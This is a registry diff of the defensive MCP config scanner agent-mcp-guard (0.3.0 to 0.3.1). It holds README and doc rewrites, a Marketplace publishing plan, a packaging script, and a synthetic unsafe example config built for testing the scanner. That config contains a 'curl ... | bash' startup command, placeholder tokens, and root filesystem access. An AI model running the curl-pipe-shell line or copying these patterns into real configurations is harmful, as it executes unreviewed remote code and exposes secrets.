agent-mcp-guard 0.3.0 → 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -14,7 +14,7 @@ Website: [chaoyue0307.github.io/mcp-guard](https://chaoyue0307.github.io/mcp-gua
14
14
  <a href="https://www.npmjs.com/package/agent-mcp-guard"><img alt="npm version" src="https://img.shields.io/npm/v/agent-mcp-guard?color=0f766e"></a>
15
15
  <a href="https://github.com/ChaoYue0307/mcp-guard/actions"><img alt="CI" src="https://github.com/ChaoYue0307/mcp-guard/actions/workflows/ci.yml/badge.svg"></a>
16
16
  <a href="LICENSE"><img alt="License" src="https://img.shields.io/badge/license-Apache--2.0-111827"></a>
17
- <a href="https://github.com/ChaoYue0307/mcp-guard/releases/tag/v0.3.0"><img alt="Release" src="https://img.shields.io/github/v/release/ChaoYue0307/mcp-guard?color=7c2d12"></a>
17
+ <a href="https://github.com/ChaoYue0307/mcp-guard/releases/tag/v0.3.1"><img alt="Release" src="https://img.shields.io/github/v/release/ChaoYue0307/mcp-guard?color=7c2d12"></a>
18
18
  </p>
19
19
 
20
20
  ## Install
@@ -57,12 +57,24 @@ mcp-guard scan --config .mcp.json --fail-on high
57
57
  Use the GitHub Action:
58
58
 
59
59
  ```yaml
60
- - uses: ChaoYue0307/mcp-guard@v0.3.0
60
+ - uses: ChaoYue0307/mcp-guard-action@v0.3.1
61
61
  with:
62
62
  fail-on: high
63
63
  upload-sarif: "true"
64
64
  ```
65
65
 
66
+ ## End-to-End Example
67
+
68
+ Use the transparent example to evaluate what the scanner actually does:
69
+
70
+ - input config: [site/e2e/claude_desktop_config.json](site/e2e/claude_desktop_config.json)
71
+ - generated Markdown report: [site/e2e/report.md](site/e2e/report.md)
72
+ - generated HTML report: [site/e2e/report.html](site/e2e/report.html)
73
+ - generated JSON report: [site/e2e/report.json](site/e2e/report.json)
74
+ - generated SARIF report: [site/e2e/report.sarif](site/e2e/report.sarif)
75
+
76
+ The example scans 3 MCP servers and reports 9 findings with a risk score of 98. It is synthetic, but fully reproducible from committed files.
77
+
66
78
  ## What It Finds
67
79
 
68
80
  | Risk | Why it matters |
@@ -121,24 +133,21 @@ MCP configs often contain sensitive local paths, internal hostnames, tokens, and
121
133
  - secret-like values redacted in reports;
122
134
  - text, Markdown, HTML, JSON, and SARIF output for local review, CI artifacts, and GitHub code scanning.
123
135
 
124
- ## Commercial Support
136
+ ## Early Access and Feedback
125
137
 
126
- Need help reviewing a real AI agent or MCP setup?
138
+ Want to try `mcp-guard` on a real AI agent or MCP setup?
127
139
 
128
- I offer private **AI Agent/MCP Security Audits** covering server inventory, risky startup commands, secret exposure, filesystem scope, remote MCP endpoints, and remediation planning.
140
+ The project is currently an automated local scanner. I am collecting early users, real-world config examples, CI setup feedback, and rule requests to improve coverage.
129
141
 
130
142
  Contact: [hechaoyue0307@gmail.com](mailto:hechaoyue0307@gmail.com)
131
143
 
132
- Service details: [docs/paid-audit.md](docs/paid-audit.md)
133
-
134
144
  ## Documentation
135
145
 
136
146
  - [Rule reference](docs/rules.md)
137
147
  - [GitHub Action](docs/github-action.md)
148
+ - [Marketplace publishing plan](docs/marketplace.md)
138
149
  - [Privacy and security](docs/privacy-and-security.md)
139
150
  - [Roadmap](docs/roadmap.md)
140
- - [Business playbook](docs/business-playbook.md)
141
- - [Launch checklist](docs/launch-checklist.md)
142
151
  - [Operator runbook](docs/operator-runbook.md)
143
152
 
144
153
  ## Exit Codes
package/action.yml CHANGED
@@ -1,4 +1,4 @@
1
- name: mcp-guard
1
+ name: mcp-guard MCP Security Scanner
2
2
  description: Scan MCP and AI agent tool configuration for risky commands, secrets, and broad permissions.
3
3
  author: mcp-guard
4
4
 
@@ -4,12 +4,14 @@
4
4
 
5
5
  `mcp-guard` is the local-first security scanner for teams adopting AI agents and MCP servers.
6
6
 
7
- The business is not the open-source CLI alone. The CLI creates trust and distribution. Revenue comes from private audits, remediation, and eventually team workflows.
7
+ The business is not the open-source CLI alone. The CLI creates trust and distribution. Near-term validation comes from early users running the scanner on real setups. Revenue can later come from private audits, remediation, and team workflows once those services are actually offered.
8
8
 
9
- ## First Paid Offer
9
+ ## Future Paid Offer
10
10
 
11
11
  AI Agent/MCP Security Audit.
12
12
 
13
+ Do not advertise this as active until there is a clear delivery process, pricing, and availability.
14
+
13
15
  Deliverables:
14
16
 
15
17
  - MCP server inventory;
@@ -35,7 +37,7 @@ I built mcp-guard, an open-source local scanner for MCP and AI agent tool config
35
37
 
36
38
  It checks for risky shell access, unpinned npx packages, broad filesystem permissions, exposed secrets, and remote MCP servers.
37
39
 
38
- I am doing a few early MCP security audits for teams using Claude, Cursor, Codex, or MCP in real workflows. If you send a redacted config or run the CLI locally, I can help interpret the report and suggest hardening steps.
40
+ I am collecting real-world MCP and AI agent config patterns from teams using Claude, Cursor, Codex, or MCP in production-like workflows. If you can share a redacted config or run the CLI locally, your feedback can help improve the scanner's rules and reports.
39
41
  ```
40
42
 
41
43
  ## First 20 Targets
@@ -0,0 +1,60 @@
1
+ # End-to-End Example
2
+
3
+ This example is designed for transparent product evaluation. It uses a synthetic MCP config committed to the repository, then runs the real `mcp-guard` CLI to generate Markdown, HTML, JSON, and SARIF outputs.
4
+
5
+ The input is intentionally unsafe so users can see whether the scanner catches concrete risks.
6
+
7
+ ## Input
8
+
9
+ Config file:
10
+
11
+ - [`site/e2e/claude_desktop_config.json`](../../site/e2e/claude_desktop_config.json)
12
+
13
+ It contains three MCP server entries:
14
+
15
+ - `filesystem-all-home`: launches an unpinned remote package with broad filesystem access and a secret-like environment variable.
16
+ - `shell-installer`: runs `bash -c` with a curl-pipe-shell installer pattern.
17
+ - `remote-prod`: points at a remote MCP endpoint with a secret-like authorization header.
18
+
19
+ ## Reproduce the Reports
20
+
21
+ ```bash
22
+ node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format markdown --output site/e2e/report.md
23
+ node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format html --output site/e2e/report.html
24
+ node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format json --output site/e2e/report.json
25
+ node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format sarif --output site/e2e/report.sarif
26
+ ```
27
+
28
+ ## Expected Result
29
+
30
+ The current scanner reports:
31
+
32
+ - Risk score: `98`
33
+ - Findings: `9`
34
+ - Critical: `2`
35
+ - High: `5`
36
+ - Medium: `2`
37
+ - Low: `0`
38
+
39
+ Important findings include:
40
+
41
+ - `MCP010`: shell command executes inline script.
42
+ - `MCP050`: curl-pipe-shell startup command.
43
+ - `MCP021`: unpinned remote MCP package.
44
+ - `MCP030`: secret-like environment variable.
45
+ - `MCP040` and `MCP041`: broad working directory and filesystem argument.
46
+ - `MCP061`: secret-like remote header.
47
+
48
+ ## Generated Artifacts
49
+
50
+ - [Markdown report](../../site/e2e/report.md)
51
+ - [HTML report](../../site/e2e/report.html)
52
+ - [JSON report](../../site/e2e/report.json)
53
+ - [SARIF report](../../site/e2e/report.sarif)
54
+
55
+ ## What This Proves
56
+
57
+ - The scanner does not need the config to leave the machine.
58
+ - Secret-like values are redacted in reports.
59
+ - Findings include rule IDs, severity, evidence, and remediation guidance.
60
+ - The same scan can feed a human-readable HTML report, automation JSON, and GitHub code scanning SARIF.
@@ -4,6 +4,8 @@ Use the `mcp-guard` action to scan MCP and AI agent tool configuration in pull r
4
4
 
5
5
  The action runs the CLI from the pinned GitHub Action tag, generates Markdown, HTML, JSON, and SARIF reports, writes a job summary, uploads reports as an artifact, and fails the job when findings meet your selected severity threshold.
6
6
 
7
+ Marketplace/action repository: <https://github.com/ChaoYue0307/mcp-guard-action>
8
+
7
9
  ## Basic Workflow
8
10
 
9
11
  ```yaml
@@ -22,7 +24,7 @@ jobs:
22
24
  runs-on: ubuntu-latest
23
25
  steps:
24
26
  - uses: actions/checkout@v4
25
- - uses: ChaoYue0307/mcp-guard@v0.3.0
27
+ - uses: ChaoYue0307/mcp-guard-action@v0.3.1
26
28
  with:
27
29
  fail-on: high
28
30
  ```
@@ -48,7 +50,7 @@ jobs:
48
50
  runs-on: ubuntu-latest
49
51
  steps:
50
52
  - uses: actions/checkout@v4
51
- - uses: ChaoYue0307/mcp-guard@v0.3.0
53
+ - uses: ChaoYue0307/mcp-guard-action@v0.3.1
52
54
  with:
53
55
  config: .mcp.json
54
56
  fail-on: high
@@ -60,7 +62,7 @@ jobs:
60
62
  Use `fail-on: none` when you want artifacts and summaries without blocking a pull request.
61
63
 
62
64
  ```yaml
63
- - uses: ChaoYue0307/mcp-guard@v0.3.0
65
+ - uses: ChaoYue0307/mcp-guard-action@v0.3.1
64
66
  with:
65
67
  fail-on: none
66
68
  ```
@@ -10,8 +10,9 @@
10
10
  - [ ] Publish with `npm publish --access public`.
11
11
  - [ ] Generate fresh sample report with `npm run scan:example`.
12
12
  - [ ] Add screenshots or paste report excerpt into README.
13
+ - [ ] Finish the GitHub Marketplace web publishing step for `mcp-guard-action`.
13
14
  - [ ] Post a short technical article or launch note.
14
- - [ ] Contact 20 early users for free scans or paid hardening.
15
+ - [ ] Contact 20 early users for scan feedback, missing rules, and CI setup needs.
15
16
  - [ ] Follow the detailed steps in `docs/operator-runbook.md`.
16
17
 
17
18
  ## User Setup
@@ -27,6 +28,15 @@ mcp-guard scan
27
28
  mcp-guard scan --config .mcp.json --fail-on high
28
29
  ```
29
30
 
31
+ ## GitHub Action Setup
32
+
33
+ ```yaml
34
+ - uses: ChaoYue0307/mcp-guard-action@v0.3.1
35
+ with:
36
+ fail-on: high
37
+ upload-sarif: "true"
38
+ ```
39
+
30
40
  Exit codes:
31
41
 
32
42
  - `0`: scan completed and did not hit the fail threshold.
@@ -0,0 +1,91 @@
1
+ # mcp-guard MCP Security Scanner
2
+
3
+ Scan MCP and AI agent tool configuration in GitHub Actions before risky tools merge.
4
+
5
+ `mcp-guard` finds risky shell startup commands, leaked secret-like values, broad filesystem access, remote MCP endpoints, dangerous command patterns, and unpinned remote package runners.
6
+
7
+ ## Usage
8
+
9
+ ```yaml
10
+ name: mcp-guard
11
+
12
+ on:
13
+ pull_request:
14
+ push:
15
+ branches: [main]
16
+
17
+ permissions:
18
+ contents: read
19
+
20
+ jobs:
21
+ scan:
22
+ runs-on: ubuntu-latest
23
+ steps:
24
+ - uses: actions/checkout@v4
25
+ - uses: ChaoYue0307/mcp-guard-action@v0.3.1
26
+ with:
27
+ fail-on: high
28
+ ```
29
+
30
+ ## Upload SARIF to GitHub Security
31
+
32
+ ```yaml
33
+ permissions:
34
+ contents: read
35
+ security-events: write
36
+
37
+ jobs:
38
+ scan:
39
+ runs-on: ubuntu-latest
40
+ steps:
41
+ - uses: actions/checkout@v4
42
+ - uses: ChaoYue0307/mcp-guard-action@v0.3.1
43
+ with:
44
+ config: .mcp.json
45
+ fail-on: high
46
+ upload-sarif: "true"
47
+ ```
48
+
49
+ ## Inputs
50
+
51
+ | Input | Default | Description |
52
+ | --- | --- | --- |
53
+ | `config` | empty | Optional MCP config path. Empty scans default project and user config locations. |
54
+ | `fail-on` | `high` | Fails the job for `critical`, `high`, `medium`, or `low` findings. Use `none` for report-only mode. |
55
+ | `output-dir` | `mcp-guard-report` | Directory for generated reports. |
56
+ | `upload-artifact` | `true` | Uploads generated reports as a workflow artifact. |
57
+ | `upload-sarif` | `false` | Uploads SARIF to GitHub code scanning. Requires `security-events: write`. |
58
+ | `artifact-name` | `mcp-guard-report` | Name of the uploaded artifact. |
59
+
60
+ ## Outputs
61
+
62
+ | Output | Description |
63
+ | --- | --- |
64
+ | `markdown-report` | Path to the generated Markdown report. |
65
+ | `html-report` | Path to the generated HTML report. |
66
+ | `json-report` | Path to the generated JSON report. |
67
+ | `sarif-report` | Path to the generated SARIF report. |
68
+ | `exit-code` | `0` when below threshold, `2` when findings met the threshold. |
69
+
70
+ ## Reports
71
+
72
+ The action generates:
73
+
74
+ - Markdown for pull request review.
75
+ - HTML for review-ready artifacts.
76
+ - JSON for automation.
77
+ - SARIF 2.1.0 for GitHub code scanning.
78
+
79
+ Secret-like values are redacted before reports are written.
80
+
81
+ ## Transparent Example
82
+
83
+ Inspect a committed input config, reproduction commands, and generated Markdown, HTML, JSON, and SARIF artifacts:
84
+
85
+ https://chaoyue0307.github.io/mcp-guard/e2e/
86
+
87
+ ## Links
88
+
89
+ - Product site: https://chaoyue0307.github.io/mcp-guard/
90
+ - Main repository: https://github.com/ChaoYue0307/mcp-guard
91
+ - npm package: https://www.npmjs.com/package/agent-mcp-guard
@@ -0,0 +1,119 @@
1
+ # GitHub Marketplace Plan
2
+
3
+ GitHub Marketplace has stricter packaging rules than normal action usage. The main `mcp-guard` repository should stay as the product repository because it contains the CLI, website, tests, CI, Pages, docs, and examples.
4
+
5
+ Official GitHub docs: https://docs.github.com/en/actions/how-tos/create-and-publish-actions/publish-in-github-marketplace
6
+
7
+ Use a dedicated public repository for Marketplace:
8
+
9
+ ```text
10
+ ChaoYue0307/mcp-guard-action
11
+ ```
12
+
13
+ ## Why a Dedicated Repository
14
+
15
+ GitHub requires Marketplace action repositories to:
16
+
17
+ - be public;
18
+ - contain a single root `action.yml` or `action.yaml`;
19
+ - have a unique action metadata `name`;
20
+ - avoid workflow files in the repository.
21
+
22
+ The main repo intentionally contains `.github/workflows`, so it should not be the Marketplace repo.
23
+
24
+ ## Prepared Action Package
25
+
26
+ Generate the clean action repository payload:
27
+
28
+ ```bash
29
+ npm run marketplace:prepare
30
+ ```
31
+
32
+ This creates:
33
+
34
+ ```text
35
+ dist/mcp-guard-action/
36
+ ```
37
+
38
+ The generated directory includes only the files needed by the action:
39
+
40
+ - `action.yml`
41
+ - `README.md`
42
+ - `LICENSE`
43
+ - `package.json`
44
+ - `bin/`
45
+ - `src/`
46
+ - `scripts/action-summary.js`
47
+
48
+ It intentionally excludes `.github/workflows`.
49
+
50
+ ## Recommended Marketplace Metadata
51
+
52
+ Repository name:
53
+
54
+ ```text
55
+ mcp-guard-action
56
+ ```
57
+
58
+ Action name:
59
+
60
+ ```text
61
+ mcp-guard MCP Security Scanner
62
+ ```
63
+
64
+ Description:
65
+
66
+ ```text
67
+ Scan MCP and AI agent tool configuration for risky commands, leaked secrets, broad filesystem access, remote endpoints, and unpinned packages.
68
+ ```
69
+
70
+ Primary category:
71
+
72
+ ```text
73
+ Security
74
+ ```
75
+
76
+ Secondary category:
77
+
78
+ ```text
79
+ Code quality
80
+ ```
81
+
82
+ Release title:
83
+
84
+ ```text
85
+ v0.3.1
86
+ ```
87
+
88
+ Release notes:
89
+
90
+ ```text
91
+ Initial Marketplace-ready release.
92
+
93
+ - Runs mcp-guard from the pinned action tag.
94
+ - Generates Markdown, HTML, JSON, and SARIF reports.
95
+ - Writes a GitHub Step Summary for pull request review.
96
+ - Can upload SARIF to GitHub code scanning with `upload-sarif: "true"`.
97
+ - Fails workflows by configurable severity threshold.
98
+ ```
99
+
100
+ ## Manual Publishing Steps
101
+
102
+ Completed:
103
+
104
+ - Public repository created: <https://github.com/ChaoYue0307/mcp-guard-action>
105
+ - `dist/mcp-guard-action/` exported, committed, and pushed.
106
+ - Release created: <https://github.com/ChaoYue0307/mcp-guard-action/releases/tag/v0.3.1>
107
+ - README, docs, and website examples now use:
108
+
109
+ ```yaml
110
+ - uses: ChaoYue0307/mcp-guard-action@v0.3.1
111
+ ```
112
+
113
+ Remaining Marketplace web step:
114
+
115
+ 1. Open `action.yml` or the release page on GitHub and click the Marketplace banner.
116
+ 2. Select `Publish this Action to the GitHub Marketplace`.
117
+ 3. Accept the GitHub Marketplace Developer Agreement if prompted.
118
+ 4. Choose `Security` as the primary category.
119
+ 5. Publish the release with 2FA.
@@ -98,5 +98,5 @@ Send this to 20 teams using MCP or AI agents:
98
98
  ```text
99
99
  I am building mcp-guard, an open-source security scanner for MCP and AI agent tool configs. It checks for risky shell access, unpinned remote packages, over-broad file permissions, exposed secrets, and unsafe remote server setup.
100
100
 
101
- I am doing a few early scans for teams using MCP in real workflows. If you send a redacted config or run the CLI locally, I can help interpret the report and suggest hardening steps.
101
+ I am collecting real-world MCP config patterns from teams using agents in real workflows. If you can share a redacted config or run the CLI locally, your feedback can help improve the scanner's rules and reports.
102
102
  ```
@@ -1,6 +1,8 @@
1
- # AI Agent/MCP Security Audit
1
+ # Future Service Concept
2
2
 
3
- This is the first paid service attached to `mcp-guard`.
3
+ This is a planning note for a possible future service attached to `mcp-guard`.
4
+
5
+ It is not currently advertised as an active consulting service. Keep public website and README copy focused on the automated scanner, early pilots, and CI setup feedback until this offer is actually available.
4
6
 
5
7
  ## Who It Is For
6
8
 
@@ -24,6 +26,6 @@ Use `docs/templates/audit-report-template.md` as the starting point for client d
24
26
  - Small startup: USD 1,000-3,000.
25
27
  - Funded team or private deployment pilot: USD 3,000-8,000.
26
28
 
27
- ## Sales Copy
29
+ ## Draft Sales Copy
28
30
 
29
- I am building `mcp-guard`, an open-source scanner for MCP and AI agent tool security. It checks for risky shell access, unpinned remote packages, over-broad file permissions, exposed secrets, and unsafe remote server setup. I am offering a few early MCP security audits for teams using agents in real workflows.
31
+ I am building `mcp-guard`, an open-source scanner for MCP and AI agent tool security. It checks for risky shell access, unpinned remote packages, over-broad file permissions, exposed secrets, and unsafe remote server setup. I am collecting real-world config patterns from teams using agents in real workflows.
package/docs/roadmap.md CHANGED
@@ -16,7 +16,7 @@
16
16
  2. Rule packs mapped to MCP security best practices.
17
17
  3. Policy file for approved commands, packages, directories, and remote URLs.
18
18
  4. Baseline mode: accept known findings and fail only on new risks.
19
- 5. `mcp-guard audit` mode for client-ready reports.
19
+ 5. `mcp-guard audit` mode for review-ready reports.
20
20
 
21
21
  ## Later
22
22
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "agent-mcp-guard",
3
- "version": "0.3.0",
3
+ "version": "0.3.1",
4
4
  "description": "Open-source CLI scanner for risky MCP server and AI agent tool configuration.",
5
5
  "type": "module",
6
6
  "homepage": "https://chaoyue0307.github.io/mcp-guard/",
@@ -19,6 +19,7 @@
19
19
  "scan:example": "node ./bin/mcp-guard.js scan --config examples/unsafe-claude_desktop_config.json --output examples/sample-report.md",
20
20
  "release:check": "node ./scripts/release-check.js",
21
21
  "launch:github": "node ./scripts/launch-github.js",
22
+ "marketplace:prepare": "node ./scripts/prepare-marketplace-action.js",
22
23
  "publish:npm": "node ./scripts/publish-npm.js",
23
24
  "start": "node ./bin/mcp-guard.js"
24
25
  },
@@ -44,10 +45,12 @@
44
45
  "README.md",
45
46
  "action.yml",
46
47
  "scripts/action-summary.js",
48
+ "scripts/prepare-marketplace-action.js",
47
49
  "LICENSE",
48
50
  "SECURITY.md",
49
51
  "docs",
50
52
  "examples",
53
+ "site/e2e",
51
54
  "site/assets/readme-hero.svg",
52
55
  "site/assets/brand-mark.svg"
53
56
  ]
@@ -0,0 +1,72 @@
1
+ #!/usr/bin/env node
2
+
3
+ import fs from "node:fs";
4
+ import path from "node:path";
5
+
6
+ const root = path.resolve(import.meta.dirname, "..");
7
+ const outputDir = path.join(root, "dist", "mcp-guard-action");
8
+ const packageJson = JSON.parse(fs.readFileSync(path.join(root, "package.json"), "utf8"));
9
+
10
+ fs.rmSync(outputDir, { recursive: true, force: true });
11
+ fs.mkdirSync(outputDir, { recursive: true });
12
+
13
+ copyFile("action.yml", "action.yml");
14
+ copyFile("LICENSE", "LICENSE");
15
+ copyFile("docs/marketplace-action-readme.md", "README.md");
16
+ copyDir("bin", "bin");
17
+ copyDir("src", "src");
18
+ copyFile("scripts/action-summary.js", "scripts/action-summary.js");
19
+ writePackageJson();
20
+ validateExport();
21
+
22
+ process.stdout.write(`Marketplace action package prepared at ${path.relative(root, outputDir)}\n`);
23
+
24
+ function copyFile(from, to) {
25
+ const source = path.join(root, from);
26
+ const target = path.join(outputDir, to);
27
+ fs.mkdirSync(path.dirname(target), { recursive: true });
28
+ fs.copyFileSync(source, target);
29
+ }
30
+
31
+ function copyDir(from, to) {
32
+ fs.cpSync(path.join(root, from), path.join(outputDir, to), {
33
+ recursive: true,
34
+ filter: (source) => !source.includes(`${path.sep}.DS_Store`)
35
+ });
36
+ }
37
+
38
+ function writePackageJson() {
39
+ const actionPackage = {
40
+ name: "mcp-guard-action",
41
+ version: packageJson.version,
42
+ private: true,
43
+ description: "GitHub Action wrapper for mcp-guard MCP and AI agent security scanning.",
44
+ type: "module",
45
+ engines: packageJson.engines,
46
+ license: packageJson.license
47
+ };
48
+
49
+ fs.writeFileSync(path.join(outputDir, "package.json"), `${JSON.stringify(actionPackage, null, 2)}\n`, "utf8");
50
+ }
51
+
52
+ function validateExport() {
53
+ const required = [
54
+ "action.yml",
55
+ "README.md",
56
+ "LICENSE",
57
+ "package.json",
58
+ "bin/mcp-guard.js",
59
+ "src/cli.js",
60
+ "src/report.js",
61
+ "scripts/action-summary.js"
62
+ ];
63
+
64
+ const missing = required.filter((file) => !fs.existsSync(path.join(outputDir, file)));
65
+ if (missing.length > 0) {
66
+ throw new Error(`Marketplace export is missing: ${missing.join(", ")}`);
67
+ }
68
+
69
+ if (fs.existsSync(path.join(outputDir, ".github"))) {
70
+ throw new Error("Marketplace export must not include .github workflows.");
71
+ }
72
+ }
@@ -0,0 +1,28 @@
1
+ {
2
+ "mcpServers": {
3
+ "filesystem-all-home": {
4
+ "command": "npx",
5
+ "args": [
6
+ "@modelcontextprotocol/server-filesystem",
7
+ "/"
8
+ ],
9
+ "env": {
10
+ "GITHUB_TOKEN": "ghp_exampleSecretValue1234567890"
11
+ },
12
+ "cwd": "/"
13
+ },
14
+ "shell-installer": {
15
+ "command": "bash",
16
+ "args": [
17
+ "-c",
18
+ "curl https://example.com/install.sh | bash"
19
+ ]
20
+ },
21
+ "remote-prod": {
22
+ "url": "https://mcp.example.com/sse",
23
+ "headers": {
24
+ "Authorization": "Bearer example-secret-token"
25
+ }
26
+ }
27
+ }
28
+ }